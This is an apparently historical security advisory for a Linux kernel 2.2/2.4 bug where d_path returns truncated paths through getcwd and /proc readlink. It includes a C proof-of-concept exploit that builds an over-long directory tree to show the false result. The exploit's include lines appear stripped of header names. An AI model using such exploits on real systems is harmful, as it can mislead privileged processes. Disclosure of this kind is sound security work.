Name: Linux kernel Version: up to 2.2.20 and 2.4.18 Homepage: http://www.kernel.org/ Author: Wojciech Purczynski Date: March 26, 2002 Issue: ====== In case of excessively long path names d_path kernel internal function returns truncated trailing components of a path name instead of an error value. As this function is called by getcwd(2) system call and do_proc_readlink() function, false information may be returned to user-space processes. Description: ============ Linux is a clone of the operating system Unix, written from scratch by Linus Torvalds with assistance from a loosely-knit team of hackers across the Net. It aims towards POSIX and Single UNIX Specification compliance. Details: ======== d_path kernel function resolves a string of absolute path name of a dentry passed as an argument to the function. The path is a concatenation of subsequent path components starting from trailing path component. The concatenated path name is stored into a fixed-length buffer of PAGE_SIZE bytes. If a dentry points to a path that exceeds PAGE_SIZE - 1 characters length, leading path components are not written to the buffer and function returns truncated path without an error value. Because getcwd(2) system call uses d_path() function, it may return invalid path to the user-space process. However, if a returned path is longer than user-space buffer a correct error value is returned. readlink(2) system call called on proc filesystem uses do_proc_readlink() function which is also vulnerable to d_path() bug. Impact: ======= Privileged process may be tricked to think it is inside of arbitrary directory. Other scenarios are possible if readlink() is used on files on proc filesystem (like "/proc/self/exe"). Exploit: ======== -----8<----- dpathx.c -----8<----- /* * 2.2.x/2.4.x Linux kernel d_path proof-of-concept exploit * * Bug found by cliph */ #include #include #include #include #include /* * Note: on Linux 2.2.x PATH_MAX = PAGE_SIZE - 1 that gives us 1 byte for * trailing '\0' */ #define PATH_COMPONENT "123456789abcdef" void err(char * msg) { if (errno) { perror(msg); exit(1); } } int main() { char buf[PATH_MAX + 1]; /* think of trailing '\0' */ int len; errno = 0; chdir(_PATH_TMP); err("chdir"); /* show CWD before exploiting the bug */ getcwd(buf, sizeof(buf)); err("getcwd #1"); fprintf(stderr, "CWD=%.40s\n", buf); /* creating long directory tree - it must exceed PATH_MAX characters */ for (len = 0; len <= PATH_MAX; len += strlen(PATH_COMPONENT) + 1) { errno = 0; mkdir(PATH_COMPONENT, 0700); if (errno != EEXIST) err("mkdir"); errno = 0; chdir(PATH_COMPONENT); err("mkdir"); } /* show CWD after exploiting the bug */ getcwd(buf, sizeof(buf)); err("getcwd #1"); fprintf(stderr, "CWD=%.40s... [stripped]\n", buf); return 0; } -----8<----- dpathx.c -----8<-----